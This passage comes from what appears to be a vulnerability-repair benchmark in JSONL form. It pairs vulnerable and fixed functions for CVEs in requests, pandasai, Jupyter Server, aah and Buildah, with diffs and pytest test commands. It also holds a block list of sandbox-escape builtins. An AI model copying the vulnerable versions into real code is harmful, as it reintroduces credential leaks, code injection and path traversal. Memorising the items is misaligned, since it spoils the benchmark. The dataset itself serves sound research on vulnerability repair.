credentials. This method intelligently removes\n        and reapplies authentication where possible to avoid credential loss.\n        \"\"\"\n        headers = prepared_request.headers\n        url = prepared_request.url\n\n        if 'Authorization' in headers and self.should_strip_auth(response.request.url, url):\n            # If we get redirected to a new host, we should strip out any\n            # authentication headers.\n            del headers['Authorization']\n\n        # .netrc might have more auth for us on our new host.\n        new_auth = get_netrc_auth(url) if self.trust_env else None\n        if new_auth is not None:\n            prepared_request.prepare_auth(new_auth)\n\n        return"}, {"id": "fix_py_38_2", "commit": "c45d7c49ea75133e52ab22a8e9e13173938e36ff", "file_path": "requests/sessions.py", "start_line": 118, "end_line": 133, "snippet": "    def should_strip_auth(self, old_url, new_url):\n        \"\"\"Decide whether Authorization header should be removed when redirecting\"\"\"\n        old_parsed = urlparse(old_url)\n        new_parsed = urlparse(new_url)\n        if old_parsed.hostname != new_parsed.hostname:\n            return True\n        # Special case: allow http -> https redirect when using the standard\n        # ports. This isn't specified by RFC 7235, but is kept to avoid\n        # breaking backwards compatibility with older versions of requests\n        # that allowed any redirects on the same host.\n        if (old_parsed.scheme == 'http' and old_parsed.port in (80, None)\n                and new_parsed.scheme == 'https' and new_parsed.port in (443, None)):\n            return False\n        # Standard case: root URI must match\n        return old_parsed.port != new_parsed.port or old_parsed.scheme != new_parsed.scheme\n"}], "vul_patch": "--- a/requests/sessions.py\n+++ b/requests/sessions.py\n@@ -6,14 +6,10 @@\n         headers = prepared_request.headers\n         url = prepared_request.url\n \n-        if 'Authorization' in headers:\n+        if 'Authorization' in headers and self.should_strip_auth(response.request.url, url):\n             # If we get redirected to a new host, we should strip out any\n             # authentication headers.\n-            original_parsed = urlparse(response.request.url)\n-            redirect_parsed = urlparse(url)\n-\n-            if (original_parsed.hostname != redirect_parsed.hostname):\n-                del headers['Authorization']\n+            del headers['Authorization']\n \n         # .netrc might have more auth for us on our new host.\n         new_auth = get_netrc_auth(url) if self.trust_env else None\n\n--- /dev/null\n+++ b/requests/sessions.py\n@@ -0,0 +1,15 @@\n+    def should_strip_auth(self, old_url, new_url):\n+        \"\"\"Decide whether Authorization header should be removed when redirecting\"\"\"\n+        old_parsed = urlparse(old_url)\n+        new_parsed = urlparse(new_url)\n+        if old_parsed.hostname != new_parsed.hostname:\n+            return True\n+        # Special case: allow http -> https redirect when using the standard\n+        # ports. This isn't specified by RFC 7235, but is kept to avoid\n+        # breaking backwards compatibility with older versions of requests\n+        # that allowed any redirects on the same host.\n+        if (old_parsed.scheme == 'http' and old_parsed.port in (80, None)\n+                and new_parsed.scheme == 'https' and new_parsed.port in (443, None)):\n+            return False\n+        # Standard case: root URI must match\n+        return old_parsed.port != new_parsed.port or old_parsed.scheme != new_parsed.scheme\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-18074:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/requests\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2018-18074/bin/python -m pytest tests/test_requests.py::TestRequests::test_auth_is_retained_for_redirect_on_host  tests/test_requests.py::TestRequests::test_should_strip_auth_http_downgrade tests/test_requests.py::TestRequests::test_should_strip_auth_https_upgrade tests/test_requests.py::TestRequests::test_should_strip_auth_port_change\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-18074:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/requests\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2018-18074/bin/python -m pytest tests/test_requests.py -k \"not test_conflicting_post_params and not test_pyopenssl_redirect and not test_https_warnings and not test_connect_timeout and not test_total_timeout_connect\"\n\n"}
{"cve_id": "CVE-2023-39660", "cve_description": "An issue in Gaberiele Venturi pandasai v.0.8.0 and before allows a remote attacker to execute arbitrary code via a crafted request to the prompt function.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/gventuri/pandas-ai", "patch_url": ["https://github.com/gventuri/pandas-ai/commit/3aac79be8fc1d18b53d66a566adddbbdd2b38ad5"], "programing_language": "Python", "vul_func": [{"id": "vul_py_60_1", "commit": "b452b3b", "file_path": "pandasai/__init__.py", "start_line": 589, "end_line": 616, "snippet": "    def _clean_code(self, code: str) -> str:\n        \"\"\"\n        A method to clean the code to prevent malicious code execution\n\n        Args:\n            code(str): A python code\n\n        Returns (str): Returns a Clean Code String\n\n        \"\"\"\n\n        tree = ast.parse(code)\n\n        new_body = []\n\n        # clear recent optional dependencies\n        self._additional_dependencies = []\n\n        for node in tree.body:\n            if isinstance(node, (ast.Import, ast.ImportFrom)):\n                self._check_imports(node)\n                continue\n            if self._is_df_overwrite(node):\n                continue\n            new_body.append(node)\n\n        new_tree = ast.Module(body=new_body)\n        return astor.to_source(new_tree, pretty_source=lambda x: \"\".join(x)).strip()"}], "fix_func": [{"id": "fix_py_60_1", "commit": "3aac79be8fc1d18b53d66a566adddbbdd2b38ad5", "file_path": "pandasai/__init__.py", "start_line": 607, "end_line": 634, "snippet": "    def _clean_code(self, code: str) -> str:\n        \"\"\"\n        A method to clean the code to prevent malicious code execution\n\n        Args:\n            code(str): A python code\n\n        Returns (str): Returns a Clean Code String\n\n        \"\"\"\n\n        tree = ast.parse(code)\n\n        new_body = []\n\n        # clear recent optional dependencies\n        self._additional_dependencies = []\n\n        for node in tree.body:\n            if isinstance(node, (ast.Import, ast.ImportFrom)):\n                self._check_imports(node)\n                continue\n            if self._is_df_overwrite(node) or self._is_jailbreak(node):\n                continue\n            new_body.append(node)\n\n        new_tree = ast.Module(body=new_body)\n        return astor.to_source(new_tree, pretty_source=lambda x: \"\".join(x)).strip()"}, {"id": "fix_py_60_2", "commit": "3aac79be8fc1d18b53d66a566adddbbdd2b38ad5", "file_path": "pandasai/__init__.py", "start_line": 589, "end_line": 606, "snippet": "    def _is_jailbreak(self, node: ast.stmt) -> bool:\n        \"\"\"\n        Remove jailbreaks from the code to prevent malicious code execution.\n\n        Args:\n            node (object): ast.stmt\n\n        Returns (bool):\n        \"\"\"\n\n        DANGEROUS_BUILTINS = [\"__subclasses__\", \"__builtins__\", \"__import__\"]\n\n        for child in ast.walk(node):\n            if isinstance(child, ast.Name) and child.id in DANGEROUS_BUILTINS:\n                return True\n\n        return False\n"}], "vul_patch": "--- a/pandasai/__init__.py\n+++ b/pandasai/__init__.py\n@@ -20,7 +20,7 @@\n             if isinstance(node, (ast.Import, ast.ImportFrom)):\n                 self._check_imports(node)\n                 continue\n-            if self._is_df_overwrite(node):\n+            if self._is_df_overwrite(node) or self._is_jailbreak(node):\n                 continue\n             new_body.append(node)\n \n\n--- /dev/null\n+++ b/pandasai/__init__.py\n@@ -0,0 +1,17 @@\n+    def _is_jailbreak(self, node: ast.stmt) -> bool:\n+        \"\"\"\n+        Remove jailbreaks from the code to prevent malicious code execution.\n+\n+        Args:\n+            node (object): ast.stmt\n+\n+        Returns (bool):\n+        \"\"\"\n+\n+        DANGEROUS_BUILTINS = [\"__subclasses__\", \"__builtins__\", \"__import__\"]\n+\n+        for child in ast.walk(node):\n+            if isinstance(child, ast.Name) and child.id in DANGEROUS_BUILTINS:\n+                return True\n+\n+        return False\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-39660:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pandas-ai\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-39660/bin/python -m pytest tests/test_pandasai.py::TestPandasAI::test_clean_code_removes_jailbreak_code -p no:warning --disable-warnings \n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-39660:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/pandas-ai\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-39660/bin/python -m pytest tests/test_pandasai.py -p no:warning --disable-warnings \n"}
{"cve_id": "CVE-2022-24757", "cve_description": "The Jupyter Server provides the backend (i.e. the core services, APIs, and REST endpoints) for Jupyter web applications. Prior to version 1.15.4, unauthorized actors can access sensitive information from server logs. Anytime a 5xx error is triggered, the auth cookie and other header values are recorded in Jupyter Server logs by default. Considering these logs do not require root access, an attacker can monitor these logs, steal sensitive auth/cookie information, and gain access to the Jupyter server. Jupyter Server version 1.15.4 contains a patch for this issue. There are currently no known workarounds.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/jupyter-server/jupyter_server", "patch_url": ["https://github.com/jupyter-server/jupyter_server/commit/a5683aca0b0e412672ac6218d09f74d44ca0de5a"], "programing_language": "Python", "vul_func": [{"id": "vul_py_80_1", "commit": "e4a3141", "file_path": "jupyter_server/log.py", "start_line": "14", "end_line": "56", "snippet": "def log_request(handler):\n    \"\"\"log a bit more information about each request than tornado's default\n\n    - move static file get success to debug-level (reduces noise)\n    - get proxied IP instead of proxy IP\n    - log referer for redirect and failed requests\n    - log user-agent for failed requests\n    \"\"\"\n    status = handler.get_status()\n    request = handler.request\n    try:\n        logger = handler.log\n    except AttributeError:\n        logger = access_log\n\n    if status < 300 or status == 304:\n        # Successes (or 304 FOUND) are debug-level\n        log_method = logger.debug\n    elif status < 400:\n        log_method = logger.info\n    elif status < 500:\n        log_method = logger.warning\n    else:\n        log_method = logger.error\n\n    request_time = 1000.0 * handler.request.request_time()\n    ns = dict(\n        status=status,\n        method=request.method,\n        ip=request.remote_ip,\n        uri=request.uri,\n        request_time=request_time,\n    )\n    msg = \"{status} {method} {uri} ({ip}) {request_time:.2f}ms\"\n    if status >= 400:\n        # log bad referers\n        ns[\"referer\"] = request.headers.get(\"Referer\", \"None\")\n        msg = msg + \" referer={referer}\"\n    if status >= 500 and status != 502:\n        # log all headers if it caused an error\n        log_method(json.dumps(dict(request.headers), indent=2))\n    log_method(msg.format(**ns))\n    prometheus_log_method(handler)"}], "fix_func": [{"id": "fix_py_80_1", "commit": "a5683ac", "file_path": "jupyter_server/log.py", "start_line": "14", "end_line": "60", "snippet": "def log_request(handler):\n    \"\"\"log a bit more information about each request than tornado's default\n\n    - move static file get success to debug-level (reduces noise)\n    - get proxied IP instead of proxy IP\n    - log referer for redirect and failed requests\n    - log user-agent for failed requests\n    \"\"\"\n    status = handler.get_status()\n    request = handler.request\n    try:\n        logger = handler.log\n    except AttributeError:\n        logger = access_log\n\n    if status < 300 or status == 304:\n        # Successes (or 304 FOUND) are debug-level\n        log_method = logger.debug\n    elif status < 400:\n        log_method = logger.info\n    elif status < 500:\n        log_method = logger.warning\n    else:\n        log_method = logger.error\n\n    request_time = 1000.0 * handler.request.request_time()\n    ns = dict(\n        status=status,\n        method=request.method,\n        ip=request.remote_ip,\n        uri=request.uri,\n        request_time=request_time,\n    )\n    msg = \"{status} {method} {uri} ({ip}) {request_time:.2f}ms\"\n    if status >= 400:\n        # log bad referers\n        ns[\"referer\"] = request.headers.get(\"Referer\", \"None\")\n        msg = msg + \" referer={referer}\"\n    if status >= 500 and status != 502:\n        # Log a subset of the headers if it caused an error.\n        headers = {}\n        for header in ['Host', 'Accept', 'Referer', 'User-Agent']:\n            if header in request.headers:\n                headers[header] = request.headers[header]\n        log_method(json.dumps(headers, indent=2))\n    log_method(msg.format(**ns))\n    prometheus_log_method(handler)"}], "vul_patch": "--- a/jupyter_server/log.py\n+++ b/jupyter_server/log.py\n@@ -37,7 +37,11 @@\n         ns[\"referer\"] = request.headers.get(\"Referer\", \"None\")\n         msg = msg + \" referer={referer}\"\n     if status >= 500 and status != 502:\n-        # log all headers if it caused an error\n-        log_method(json.dumps(dict(request.headers), indent=2))\n+        # Log a subset of the headers if it caused an error.\n+        headers = {}\n+        for header in ['Host', 'Accept', 'Referer', 'User-Agent']:\n+            if header in request.headers:\n+                headers[header] = request.headers[header]\n+        log_method(json.dumps(headers, indent=2))\n     log_method(msg.format(**ns))\n     prometheus_log_method(handler)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36559", "cve_description": "Due to improper sanitization of user input, HTTPEngine.Handle allows for directory traversal, allowing an attacker to read files outside of the target directory that the server has permission to read.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/go-aah/aah", "patch_url": ["https://github.com/go-aah/aah/commit/881dc9f71d1f7a4e8a9a39df9c5c081d3a2da1ec"], "programing_language": "Go", "vul_func": [{"id": "vul_go_120_1", "commit": "0bcfe2c", "file_path": "http_engine.go", "start_line": 73, "end_line": 117, "snippet": "func (e *HTTPEngine) Handle(w http.ResponseWriter, r *http.Request) {\n\tctx := e.ctxPool.Get().(*Context)\n\tdefer e.releaseContext(ctx)\n\n\t// Record access log\n\tif e.a.settings.AccessLogEnabled {\n\t\tctx.Set(reqStartTimeKey, time.Now())\n\t\tdefer e.a.accessLog.Log(ctx)\n\t}\n\n\tctx.Req, ctx.Res = ahttp.AcquireRequest(r), ahttp.AcquireResponseWriter(w)\n\n\t// Recovery handling\n\tdefer e.handleRecovery(ctx)\n\n\tif e.a.settings.RequestIDEnabled {\n\t\tctx.setRequestID()\n\t}\n\n\t// Load session from request if its `stateful` and subject authentication info.\n\tif ctx.a.SessionManager().IsStateful() {\n\t\tctx.Subject().Session = ctx.a.SessionManager().GetSession(ctx.Req.Unwrap())\n\t\tif ctx.Session().IsKeyExists(KeyViewArgAuthcInfo) {\n\t\t\tpopulateAuthenticationInfo(ctx.Session().Get(KeyViewArgAuthcInfo).(*authc.AuthenticationInfo), ctx)\n\t\t}\n\t}\n\n\t// 'OnRequest' HTTP engine event\n\te.publishOnRequestEvent(ctx)\n\n\t// Middlewares, interceptors, targeted controller\n\tif len(e.mwChain) == 0 {\n\t\tif e.a.Type() == \"websocket\" {\n\t\t\tctx.Log().Error(\"HTTP engine is not configured. It seems like WebSocket application.\")\n\t\t} else {\n\t\t\tctx.Log().Error(\"'init.go' file introduced in release v0.10; please check your 'app-base-dir/app' \" +\n\t\t\t\t\"and then add to your version control\")\n\t\t}\n\t\tctx.Reply().InternalServerError().Error(newError(ErrGeneric, http.StatusInternalServerError))\n\t} else {\n\t\te.mwChain[0].Next(ctx)\n\t}\n\n\te.writeReply(ctx)\n}"}], "fix_func": [{"id": "fix_go_120_1", "commit": "881dc9f", "file_path": "http_engine.go", "start_line": 74, "end_line": 121, "snippet": "func (e *HTTPEngine) Handle(w http.ResponseWriter, r *http.Request) {\n\tctx := e.ctxPool.Get().(*Context)\n\tdefer e.releaseContext(ctx)\n\n\t// Record access log\n\tif e.a.settings.AccessLogEnabled {\n\t\tctx.Set(reqStartTimeKey, time.Now())\n\t\tdefer e.a.accessLog.Log(ctx)\n\t}\n\n\t// Path Clean\n\tr.URL.Path = path.Clean(r.URL.Path)\n\n\tctx.Req, ctx.Res = ahttp.AcquireRequest(r), ahttp.AcquireResponseWriter(w)\n\n\t// Recovery handling\n\tdefer e.handleRecovery(ctx)\n\n\tif e.a.settings.RequestIDEnabled {\n\t\tctx.setRequestID()\n\t}\n\n\t// Load session from request if its `stateful` and subject authentication info.\n\tif ctx.a.SessionManager().IsStateful() {\n\t\tctx.Subject().Session = ctx.a.SessionManager().GetSession(ctx.Req.Unwrap())\n\t\tif ctx.Session().IsKeyExists(KeyViewArgAuthcInfo) {\n\t\t\tpopulateAuthenticationInfo(ctx.Session().Get(KeyViewArgAuthcInfo).(*authc.AuthenticationInfo), ctx)\n\t\t}\n\t}\n\n\t// 'OnRequest' HTTP engine event\n\te.publishOnRequestEvent(ctx)\n\n\t// Middlewares, interceptors, targeted controller\n\tif len(e.mwChain) == 0 {\n\t\tif e.a.Type() == \"websocket\" {\n\t\t\tctx.Log().Error(\"HTTP engine is not configured. It seems like WebSocket application.\")\n\t\t} else {\n\t\t\tctx.Log().Error(\"'init.go' file introduced in release v0.10; please check your 'app-base-dir/app' \" +\n\t\t\t\t\"and then add to your version control\")\n\t\t}\n\t\tctx.Reply().InternalServerError().Error(newError(ErrGeneric, http.StatusInternalServerError))\n\t} else {\n\t\te.mwChain[0].Next(ctx)\n\t}\n\n\te.writeReply(ctx)\n}"}], "vul_patch": "--- a/http_engine.go\n+++ b/http_engine.go\n@@ -7,6 +7,9 @@\n \t\tctx.Set(reqStartTimeKey, time.Now())\n \t\tdefer e.a.accessLog.Log(ctx)\n \t}\n+\n+\t// Path Clean\n+\tr.URL.Path = path.Clean(r.URL.Path)\n \n \tctx.Req, ctx.Res = ahttp.AcquireRequest(r), ahttp.AcquireResponseWriter(w)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-1753", "cve_description": "A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/containers/buildah", "patch_url": ["https://github.com/containers/buildah/commit/3deda19137f5dec0285bbb832bd93c22d860b087", "https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5", "https://github.com/containers/buildah/commit/a030f7b8cd373075affef1f86de43a87e502f3d8"], "programing_language": "Go", "vul_func": [{"id": "vul_go_110_1", "commit": "14d60c9", "file_path": "internal/volumes/volumes.go", "start_line": 61, "end_line": 217, "snippet": "func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, store storage.Store, imageMountLabel string, additionalMountPoints map[string]internal.StageMountDetails, workDir string) (specs.Mount, string, error) {\n\tnewMount := specs.Mount{\n\t\tType: define.TypeBind,\n\t}\n\n\tsetRelabel := false\n\tmountReadability := false\n\tsetDest := false\n\tbindNonRecursive := false\n\tfromImage := \"\"\n\n\tfor _, val := range args {\n\t\targName, argValue, hasArgValue := strings.Cut(val, \"=\")\n\t\tswitch argName {\n\t\tcase \"type\":\n\t\t\t// This is already processed\n\t\t\tcontinue\n\t\tcase \"bind-nonrecursive\":\n\t\t\tnewMount.Options = append(newMount.Options, \"bind\")\n\t\t\tbindNonRecursive = true\n\t\tcase \"ro\", \"nosuid\", \"nodev\", \"noexec\":\n\t\t\t// TODO: detect duplication of these options.\n\t\t\t// (Is this necessary?)\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tmountReadability = true\n\t\tcase \"rw\", \"readwrite\":\n\t\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t\t\tmountReadability = true\n\t\tcase \"readonly\":\n\t\t\t// Alias for \"ro\"\n\t\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t\t\tmountReadability = true\n\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", \"rslave\", \"Z\", \"z\", \"U\", \"no-dereference\":\n\t\t\tif hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", val, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\tcase \"from\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tfromImage = argValue\n\t\tcase \"bind-propagation\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argValue)\n\t\tcase \"src\", \"source\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Source = argValue\n\t\tcase \"target\", \"dst\", \"destination\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\ttargetPath := argValue\n\t\t\tif !path.IsAbs(targetPath) {\n\t\t\t\ttargetPath = filepath.Join(workDir, targetPath)\n\t\t\t}\n\t\t\tif err := parse.ValidateVolumeCtrDir(targetPath); err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\t\t\tnewMount.Destination = targetPath\n\t\t\tsetDest = true\n\t\tcase \"relabel\":\n\t\t\tif setRelabel {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"cannot pass 'relabel' option more than once: %w\", errBadOptionArg)\n\t\t\t}\n\t\t\tsetRelabel = true\n\t\t\tswitch argValue {\n\t\t\tcase \"private\":\n\t\t\t\tnewMount.Options = append(newMount.Options, \"Z\")\n\t\t\tcase \"shared\":\n\t\t\t\tnewMount.Options = append(newMount.Options, \"z\")\n\t\t\tdefault:\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%s mount option must be 'private' or 'shared': %w\", argName, errBadMntOption)\n\t\t\t}\n\t\tcase \"consistency\":\n\t\t\t// Option for OS X only, has no meaning on other platforms\n\t\t\t// and can thus be safely ignored.\n\t\t\t// See also the handling of the equivalent \"delegated\" and \"cached\" in ValidateVolumeOpts\n\t\tdefault:\n\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadMntOption)\n\t\t}\n\t}\n\n\t// default mount readability is always readonly\n\tif !mountReadability {\n\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t}\n\n\t// Following variable ensures that we return imagename only if we did additional mount\n\tisImageMounted := false\n\tif fromImage != \"\" {\n\t\tmountPoint := \"\"\n\t\tif additionalMountPoints != nil {\n\t\t\tif val, ok := additionalMountPoints[fromImage]; ok {\n\t\t\t\tmountPoint = val.MountPoint\n\t\t\t}\n\t\t}\n\t\t// if mountPoint of image was not found in additionalMap\n\t\t// or additionalMap was nil, try mounting image\n\t\tif mountPoint == \"\" {\n\t\t\timage, err := internalUtil.LookupImage(ctx, store, fromImage)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\n\t\t\tmountPoint, err = image.Mount(context.Background(), nil, imageMountLabel)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\t\t\tisImageMounted = true\n\t\t}\n\t\tcontextDir = mountPoint\n\t}\n\n\t// buildkit parity: default bind option must be `rbind`\n\t// unless specified\n\tif !bindNonRecursive {\n\t\tnewMount.Options = append(newMount.Options, \"rbind\")\n\t}\n\n\tif !setDest {\n\t\treturn newMount, fromImage, errBadVolDest\n\t}\n\n\t// buildkit parity: support absolute path for sources from current build context\n\tif contextDir != \"\" {\n\t\t// path should be /contextDir/specified path\n\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n\t} else {\n\t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n\t\t// error out if no source is set\n\t\tif newMount.Source == \"\" {\n\t\t\treturn newMount, \"\", errBadVolSrc\n\t\t}\n\t\tif err := parse.ValidateVolumeHostDir(newMount.Source); err != nil {\n\t\t\treturn newMount, \"\", err\n\t\t}\n\t}\n\n\topts, err := parse.ValidateVolumeOpts(newMount.Options)\n\tif err != nil {\n\t\treturn newMount, fromImage, err\n\t}\n\tnewMount.Options = opts\n\n\tif !isImageMounted {\n\t\t// we don't want any cleanups if image was not mounted explicitly\n\t\t// so dont return anything\n\t\tfromImage = \"\"\n\t}\n\n\treturn newMount, fromImage, nil\n}"}], "fix_func": [{"id": "fix_go_110_1", "commit": "3deda19", "file_path": "internal/volumes/volumes.go", "start_line": 62, "end_line": 222, "snippet": "func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, store storage.Store, imageMountLabel string, additionalMountPoints map[string]internal.StageMountDetails, workDir string) (specs.Mount, string, error) {\n\tnewMount := specs.Mount{\n\t\tType: define.TypeBind,\n\t}\n\n\tsetRelabel := false\n\tmountReadability := false\n\tsetDest := false\n\tbindNonRecursive := false\n\tfromImage := \"\"\n\n\tfor _, val := range args {\n\t\targName, argValue, hasArgValue := strings.Cut(val, \"=\")\n\t\tswitch argName {\n\t\tcase \"type\":\n\t\t\t// This is already processed\n\t\t\tcontinue\n\t\tcase \"bind-nonrecursive\":\n\t\t\tnewMount.Options = append(newMount.Options, \"bind\")\n\t\t\tbindNonRecursive = true\n\t\tcase \"ro\", \"nosuid\", \"nodev\", \"noexec\":\n\t\t\t// TODO: detect duplication of these options.\n\t\t\t// (Is this necessary?)\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\t\tmountReadability = true\n\t\tcase \"rw\", \"readwrite\":\n\t\t\tnewMount.Options = append(newMount.Options, \"rw\")\n\t\t\tmountReadability = true\n\t\tcase \"readonly\":\n\t\t\t// Alias for \"ro\"\n\t\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t\t\tmountReadability = true\n\t\tcase \"shared\", \"rshared\", \"private\", \"rprivate\", \"slave\", \"rslave\", \"Z\", \"z\", \"U\", \"no-dereference\":\n\t\t\tif hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", val, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argName)\n\t\tcase \"from\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tfromImage = argValue\n\t\tcase \"bind-propagation\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Options = append(newMount.Options, argValue)\n\t\tcase \"src\", \"source\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\tnewMount.Source = argValue\n\t\tcase \"target\", \"dst\", \"destination\":\n\t\t\tif !hasArgValue {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadOptionArg)\n\t\t\t}\n\t\t\ttargetPath := argValue\n\t\t\tif !path.IsAbs(targetPath) {\n\t\t\t\ttargetPath = filepath.Join(workDir, targetPath)\n\t\t\t}\n\t\t\tif err := parse.ValidateVolumeCtrDir(targetPath); err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\t\t\tnewMount.Destination = targetPath\n\t\t\tsetDest = true\n\t\tcase \"relabel\":\n\t\t\tif setRelabel {\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"cannot pass 'relabel' option more than once: %w\", errBadOptionArg)\n\t\t\t}\n\t\t\tsetRelabel = true\n\t\t\tswitch argValue {\n\t\t\tcase \"private\":\n\t\t\t\tnewMount.Options = append(newMount.Options, \"Z\")\n\t\t\tcase \"shared\":\n\t\t\t\tnewMount.Options = append(newMount.Options, \"z\")\n\t\t\tdefault:\n\t\t\t\treturn newMount, \"\", fmt.Errorf(\"%s mount option must be 'private' or 'shared': %w\", argName, errBadMntOption)\n\t\t\t}\n\t\tcase \"consistency\":\n\t\t\t// Option for OS X only, has no meaning on other platforms\n\t\t\t// and can thus be safely ignored.\n\t\t\t// See also the handling of the equivalent \"delegated\" and \"cached\" in ValidateVolumeOpts\n\t\tdefault:\n\t\t\treturn newMount, \"\", fmt.Errorf(\"%v: %w\", argName, errBadMntOption)\n\t\t}\n\t}\n\n\t// default mount readability is always readonly\n\tif !mountReadability {\n\t\tnewMount.Options = append(newMount.Options, \"ro\")\n\t}\n\n\t// Following variable ensures that we return imagename only if we did additional mount\n\tisImageMounted := false\n\tif fromImage != \"\" {\n\t\tmountPoint := \"\"\n\t\tif additionalMountPoints != nil {\n\t\t\tif val, ok := additionalMountPoints[fromImage]; ok {\n\t\t\t\tmountPoint = val.MountPoint\n\t\t\t}\n\t\t}\n\t\t// if mountPoint of image was not found in additionalMap\n\t\t// or additionalMap was nil, try mounting image\n\t\tif mountPoint == \"\" {\n\t\t\timage, err := internalUtil.LookupImage(ctx, store, fromImage)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\n\t\t\tmountPoint, err = image.Mount(context.Background(), nil, imageMountLabel)\n\t\t\tif err != nil {\n\t\t\t\treturn newMount, \"\", err\n\t\t\t}\n\t\t\tisImageMounted = true\n\t\t}\n\t\tcontextDir = mountPoint\n\t}\n\n\t// buildkit parity: default bind option must be 